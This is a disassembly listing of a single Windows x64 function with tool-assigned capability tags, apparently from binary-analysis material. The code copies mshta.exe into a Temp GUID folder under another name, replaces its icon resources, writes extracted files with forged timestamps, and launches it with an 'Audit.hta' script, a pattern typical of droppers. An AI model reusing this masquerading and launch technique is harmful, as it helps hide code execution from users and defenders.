Function at 0x140004920
Capabilities:
Check if file exists
Copy file
Create directory
Create process on windows
Delete file
Get common file path
Get file attributes
Get file size
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xf50]
mov eax, 0x1050
call fcn.14001cd70
sub rsp, rax
mov rax, qword [0x140063008]
xor rax, rsp
mov qword [rbp + 0xf40], rax
lea rax, [rbp + 0x4f0]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov edx, 0x801c
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea rdx, str.Temp
lea rcx, [rbp + 0x4f0]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rdx, str.97D38112_2539_4743_AAEA_D6FD6CD9C6FB
lea rcx, [rbp + 0x4f0]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
xor r8d, r8d
lea rdx, [rbp + 0x4f0]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHCreateDirectoryExW]
lea r8, [rbp + 0x4f0]
mov edx, 0x104
lea rcx, [rbp + 0xb20]
call fcn.14000df3c
lea rdx, str.__icon__.ico
lea rcx, [rbp + 0xb20]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rcx, [rbp + 0xb20]
call fcn.1400046c0
mov edx, 0x104
lea rcx, [rbp + 0xd30]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea rdx, str.mshta.exe
lea rcx, [rbp + 0xd30]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
mov r8d, 0x104
lea rdx, [rbp + 0x910]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call fcn.1400011f0
mov rcx, rax
test rax, rax
je 0x1400053f4
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov r12, 0xffffffffffffffff
mov qword [rsp + 0x58], rax
lea rax, [rbp + 0x910]
cmp rax, 0x10000
jae 0x140004a76
lea rax, [rbp + 0x910]
movzx edx, ax
lea rcx, [rsp + 0x58]
call fcn.140005860
jmp 0x140004a9e
lea rcx, [rbp + 0x910]
mov rax, r12
inc rax
cmp word [rcx + rax*2], 0
jne 0x140004a80
mov r8d, eax
lea rdx, [rbp + 0x910]
lea rcx, [rsp + 0x58]
call fcn.140005a90
mov rbx, qword [rsp + 0x58]
mov edx, 0x5c
mov rcx, rbx
call fcn.140007be0
test rax, rax
je 0x140004b56
sub rax, rbx
sar rax, 1
test eax, eax
js 0x140004b56
mov r9d, dword [rbx - 0x10]
lea r8d, [rax + 1]
sub r9d, r8d
lea rdx, [rbp - 0x10]
lea rcx, [rsp + 0x58]
call fcn.1400056c0
mov rdx, qword [rbp - 0x10]
add rbx, 0xffffffffffffffe8
lea rdi, [rdx - 0x18]
cmp rdi, rbx
je 0x140004b3d
cmp dword [rbx + 0x10], 0
jl 0x140004b2f
mov rax, qword [rbx]
cmp qword [rdi], rax
jne 0x140004b2f
mov rcx, rdi
call fcn.1400059e0
mov rsi, rax
mov ecx, r12d
lock xadd dword [rbx + 0x10], ecx
sub ecx, 1
jg 0x140004b24
mov rcx, qword [rbx]
mov rdx, rbx
mov r8, qword [rcx]
call qword [r8 + 8]
lea rax, [rsi + 0x18]
mov qword [rsp + 0x58], rax
jmp 0x140004b3d
mov r8d, dword [rdx - 0x10]
lea rcx, [rsp + 0x58]
call fcn.140005a90
mov eax, r12d
lock xadd dword [rdi + 0x10], eax
sub eax, 1
jg 0x140004b56
mov rcx, qword [rdi]
mov rdx, rdi
mov rax, qword [rcx]
call qword [rax + 8]
lea r8, [rbp + 0x4f0]
mov edx, 0x104
lea rcx, [rbp + 0x700]
call fcn.14000df3c
mov rdx, qword [rsp + 0x58]
lea rcx, [rbp + 0x700]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
xor r8d, r8d
lea rdx, [rbp + 0x700]
lea rcx, [rbp + 0xd30]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x140004ba4
lea r13d, [rax + 1]
jmp 0x140005397
xor edx, edx
lea rcx, [rbp + 0x700]
lea r8d, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
xor edi, edi
mov rbx, rax
lea r13d, [rdi + 1]
test rax, rax
je 0x140004bfe
lea rax, [rsp + 0x68]
mov dword [rsp + 0x68], r13d
lea r9, [0x1400046b0]
mov qword [rsp + 0x20], rax
lea r8, [0x1400274c4]
mov word [0x14006525c], di
lea edx, [rdi + 0xe]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_EnumResourceLanguagesW]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor edx, edx
lea rcx, [rbp + 0x700]
call qword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
mov rsi, rax
test rax, rax
jne 0x140004c23
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r13d, eax
jmp 0x140005397
movzx r15d, word [0x14006525c]
lea rcx, [rbp + 0xb20]
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
mov r8d, r13d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r14, rax
cmp rax, r12
je 0x140004da3
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, eax
mov ebx, eax
call fcn.14000689c
mov rdi, rax
lea r9, [rbp - 0x18]
xor eax, eax
mov rdx, rdi
mov r8d, ebx
mov qword [rsp + 0x20], rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movzx ecx, word [rdi + 4]
dec ecx
imul r13d, ecx, 0xe
add r13d, 0x14
mov ecx, r13d
call fcn.14000689c
movzx ecx, word [rdi]
mov r14, rax
mov word [rax], cx
movzx ecx, word [rdi + 2]
mov word [rax + 2], cx
movzx ecx, word [rdi + 4]
mov word [rax + 4], cx
xor eax, eax
mov ebx, eax
cmp ax, word [rdi + 4]
jae 0x140004d6b
nop dword [rax + rax]
movsxd rcx, ebx
mov rdx, rcx
imul rcx, rcx, 0xe
shl rdx, 4
add rdx, rdi
add rcx, r14
movzx eax, byte [rdx + 6]
mov r9d, dword [rdx + 0xe]
mov r10d, dword [rdx + 0x12]
mov byte [rcx + 6], al
add r10, rdi
movzx eax, byte [rdx + 7]
mov byte [rcx + 7], al
movzx eax, byte [rdx + 8]
mov byte [rcx + 8], al
movzx eax, byte [rdx + 9]
mov byte [rcx + 9], al
movzx eax, word [rdx + 0xa]
mov word [rcx + 0xa], ax
movzx eax, word [rdx + 0xc]
mov word [rcx + 0xc], ax
mov eax, dword [rdx + 0xe]
mov edx, 3
mov dword [rcx + 0xe], eax
lea eax, [rbx + 1]
mov dword [rsp + 0x28], r9d
movzx r9d, r15w
movzx r8d, ax
mov word [rcx + 0x12], r8w
mov rcx, rsi
mov qword [rsp + 0x20], r10
call qword [sym.imp.KERNEL32.dll_UpdateResourceW]
test eax, eax
je 0x140004d9d
movzx eax, word [rdi + 4]
inc ebx
cmp ebx, eax
jl 0x140004ce0
xor r8d, r8d
mov dword [rsp + 0x28], r13d
movzx r9d, r15w
mov qword [rsp + 0x20], r14
mov rcx, rsi
lea edx, [r8 + 0xe]
call qword [sym.imp.KERNEL32.dll_UpdateResourceW]
test eax, eax
je 0x140004d9d
mov rcx, rdi
call fcn.140006260
mov rcx, r14
call fcn.140006260
xor edi, edi
lea r13d, [rdi + 1]
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
test eax, eax
jne 0x140004dc0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r13d, eax
jmp 0x140005397
lea rcx, [rbp + 0xb20]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xorps xmm0, xmm0
lea rcx, [rsp + 0x70]
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
call fcn.1400039c0
test eax, eax
je 0x140005397
mov rbx, qword [rbp - 0x28]
mov r14d, edi
nop word [rax + rax]
mov eax, dword [rbp - 0x80]
cmp r14d, eax
jge 0x1400051d5
test rbx, rbx
je 0x140004e36
cmp r14d, eax
jae 0x140004e36
mov rax, qword [rbx + 0x20]
mov edi, r14d
mov r8d, dword [rax + rdi*4]
add r8, qword [rbx]
jmp 0x140004e3c
mov r8, rdi
mov edi, r14d
lea r9, [rbp + 0x90]
mov edx, r14d
lea rcx, [rsp + 0x70]
call fcn.140003ad0
mov rbx, qword [rbp - 0x28]
test eax, eax
je 0x140005157
test rbx, rbx
je 0x140004e97
cmp r14d, dword [rbp - 0x80]
jae 0x140004e97
mov rax, qword [rbx + 0x20]
mov ecx, dword [rax + rdi*4]
add rcx, qword [rbx]
je 0x140004e97
movzx eax, word [rcx + 0x1c]
test ax, ax
je 0x140004e87
cmp byte [rax + rcx + 0x2d], 0x2f
je 0x140005141
test byte [rcx + 0x26], 0x10
je 0x140004e9e
inc r14d
xor edi, edi
jmp 0x140004e10
mov dword [rbp - 0x74], 0x18
mov r15d, dword [rbp + 0xc0]
mov ecx, r15d
call fcn.14000689c
mov r9, qword [rbp + 0xc0]
lea rdx, [rbp + 0xe8]
mov r8, rax
mov qword [rbp - 8], rax
lea rcx, [rsp + 0x70]
call fcn.140004520
test eax, eax
je 0x14000513d
call fcn.1400011f0
test rax, rax
je 0x1400053e9
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + 0x18]
add rax, 0x18
mov qword [rsp + 0x60], rax
lea rax, [rbp + 0x4f0]
cmp rax, 0x10000
jae 0x140004f19
lea rax, [rbp + 0x4f0]
movzx edx, ax
lea rcx, [rsp + 0x60]
call fcn.140005860
jmp 0x140004f41
lea rcx, [rbp + 0x4f0]
mov rax, r12
inc rax
cmp word [rcx + rax*2], 0
jne 0x140004f23
mov r8d, eax
lea rdx, [rbp + 0x4f0]
lea rcx, [rsp + 0x60]
call fcn.140005a90
lea rdx, [0x140027354]
lea rcx, [rsp + 0x60]
call fcn.140005c20
lea rdx, [rbp + 0xe8]
lea rcx, [rsp + 0x60]
call fcn.140005410
mov rdi, qword [rsp + 0x60]
mov edx, 0x5c
mov rcx, rdi
call fcn.140007be0
mov rsi, rax
test rax, rax
je 0x140005083
sub rsi, rdi
sar rsi, 1
test esi, esi
js 0x140005083
cmp esi, dword [rdi - 0x10]
jl 0x140004fa3
lea rcx, [rdi - 0x18]
call fcn.1400059e0
lea rbx, [rax + 0x18]
jmp 0x140005018
mov rcx, qword [rdi - 0x18]
test rcx, rcx
je 0x140004fba
mov rax, qword [rcx]
call qword [rax + 0x20]
mov rcx, rax
test rax, rax
jne 0x140004fd4
call fcn.1400011f0
mov rcx, rax
mov rdx, qword [rax]
call qword [rdx + 0x20]
mov rcx, rax
test rax, rax
je 0x1400053e9
mov rax, qword [rcx]
mov r8d, 2
mov edx, esi
call qword [rax]
test rax, rax
je 0x14000540a
cmp esi, dword [rax + 0xc]
lea rbx, [rax + 0x18]
jg 0x1400053ff
movsxd rax, esi
mov dword [rbx - 0x10], esi
lea r8, [rax + rax]
xor eax, eax
mov word [r8 + rbx], ax
test r8, r8
je 0x140005018
mov rdx, rdi
mov rcx, rbx
call fcn.140007cc0
lea r8, [rbp + 0x4f0]
mov rax, rbx
sub r8, rbx
nop word [rax + rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x140005044
add rax, 2
test ecx, ecx
jne 0x140005030
test edx, edx
je 0x140005064
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x140005064
xor r8d, r8d
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHCreateDirectoryExW]
lea rdx, [rbx - 0x18]
mov eax, r12d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000507e
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
mov rdi, qword [rsp + 0x60]
xor esi, esi
xor r9d, r9d
mov qword [rsp + 0x30], rsi
xor r8d, r8d
mov dword [rsp + 0x28], 0x80
mov edx, 0x40000000
mov rcx, rdi
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, r12
je 0x14000514b
mov qword [rsp + 0x20], rsi
lea r9, [rsp + 0x6c]
mov rsi, qword [rbp - 8]
mov r8d, r15d
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [rsp + 0x6c], r15d
jne 0x14000514e
mov rcx, rsi
call fcn.140006260
movabs rcx, 0x2b6109100
lea r9, [rbp - 0x20]
add rcx, qword [rbp + 0xa8]
xor r8d, r8d
imul rax, rcx, 0x989680
xor edx, edx
mov rcx, rbx
mov dword [rbp - 0x20], eax
shr rax, 0x20
mov dword [rbp - 0x1c], eax
call qword [sym.imp.KERNEL32.dll_SetFileTime]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rdi - 0x18]
mov eax, r12d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000513d
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
mov rbx, qword [rbp - 0x28]
inc r14d
xor edi, edi
jmp 0x140004e10
mov r13d, esi
lea rdx, [rdi - 0x18]
jmp 0x140005381
test rbx, rbx
je 0x1400051c9
cmp qword [rbp - 0x68], 0
je 0x1400051c9
mov rax, qword [rbp - 0x60]
test rax, rax
je 0x1400051c9
cmp dword [rbp - 0x7c], 1
jne 0x1400051c9
mov rcx, qword [rbp - 0x50]
xor edi, edi
mov qword [rbp - 0x28], rdi
mov rdx, qword [rbx]
call rax
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm0
mov rdx, qword [rbx + 0x20]
mov rcx, qword [rbp - 0x50]
call qword [rbp - 0x60]
xorps xmm0, xmm0
movups xmmword [rbx + 0x20], xmm0
movups xmmword [rbx + 0x30], xmm0
mov rdx, qword [rbx + 0x40]
mov rcx, qword [rbp - 0x50]
call qword [rbp - 0x60]
xorps xmm0, xmm0
mov rdx, rbx
movups xmmword [rbx + 0x40], xmm0
movups xmmword [rbx + 0x50], xmm0
mov rcx, qword [rbp - 0x50]
call qword [rbp - 0x60]
mov dword [rbp - 0x7c], edi
jmp 0x140005397
mov dword [rbp - 0x74], 0x18
jmp 0x140005397
test rbx, rbx
je 0x140005242
cmp qword [rbp - 0x68], 0
je 0x140005242
mov rax, qword [rbp - 0x60]
test rax, rax
je 0x140005242
cmp dword [rbp - 0x7c], 1
jne 0x140005242
mov rcx, qword [rbp - 0x50]
mov qword [rbp - 0x28], rdi
mov rdx, qword [rbx]
call rax
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm0
mov rdx, qword [rbx + 0x20]
mov rcx, qword [rbp - 0x50]
call qword [rbp - 0x60]
xorps xmm0, xmm0
movups xmmword [rbx + 0x20], xmm0
movups xmmword [rbx + 0x30], xmm0
mov rdx, qword [rbx + 0x40]
mov rcx, qword [rbp - 0x50]
call qword [rbp - 0x60]
xorps xmm0, xmm0
mov rdx, rbx
movups xmmword [rbx + 0x40], xmm0
movups xmmword [rbx + 0x50], xmm0
mov rcx, qword [rbp - 0x50]
call qword [rbp - 0x60]
mov dword [rbp - 0x7c], edi
jmp 0x140005249
mov dword [rbp - 0x74], 0x18
call fcn.1400011f0
test rax, rax
je 0x1400053f4
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + 0x18]
add rax, 0x18
lea rbx, [0x1400274cc]
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x50]
cmp rbx, 0x10000
jae 0x140005288
movzx edx, bx
call fcn.140005860
jmp 0x140005293
mov r8d, r13d
mov rdx, rbx
call fcn.140005a90
lea rdx, [rbp + 0x700]
lea rcx, [rsp + 0x50]
call fcn.140005c20
lea rdx, [0x1400274d0]
lea rcx, [rsp + 0x50]
call fcn.140005c20
lea rdx, [rbp + 0x4f0]
lea rcx, [rsp + 0x50]
call fcn.140005c20
lea rdx, [0x140027354]
lea rcx, [rsp + 0x50]
call fcn.140005c20
lea rdx, str.Audit.hta
lea rcx, [rsp + 0x50]
call fcn.140005c20
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.140005c20
mov rbx, qword [rsp + 0x50]
xorps xmm0, xmm0
xor eax, eax
xor r9d, r9d
mov qword [rbp + 0x60], rax
xor r8d, r8d
mov qword [rbp + 0x80], rax
mov rdx, rbx
movups xmmword [rbp], xmm0
lea rax, [rbp + 0x70]
xor ecx, ecx
mov qword [rsp + 0x48], rax
lea rax, [rbp]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
movups xmmword [rbp + 0x40], xmm0
mov qword [rsp + 0x30], rdi
movups xmmword [rbp + 0x10], xmm0
mov dword [rsp + 0x28], 0x20
movups xmmword [rbp + 0x30], xmm0
mov dword [rsp + 0x20], r13d
movups xmmword [rbp + 0x20], xmm0
mov dword [rbp], 0x68
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 8], rdi
movups xmmword [rbp + 0x70], xmm0
mov qword [rbp + 0x48], rdi
mov word [rbp + 0x42], di
mov qword [rbp + 0x10], rdi
mov dword [rbp + 0x3c], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
lea rdx, [rbx - 0x18]
mov r13d, edi
mov eax, r12d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140005397
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], r12d
sub r12d, 1
jg 0x1400053b6
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [r8 + 8]
mov eax, r13d
mov rcx, qword [rbp + 0xf40]
xor rcx, rsp
call fcn.140006240
lea r11, [rsp + 0x1050]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov ecx, 0x80004005
call fcn.140001050
int3
mov ecx, 0x80004005
call fcn.140001050
int3
mov ecx, 0x80070057
call fcn.140001050
int3
call fcn.140005d70
int3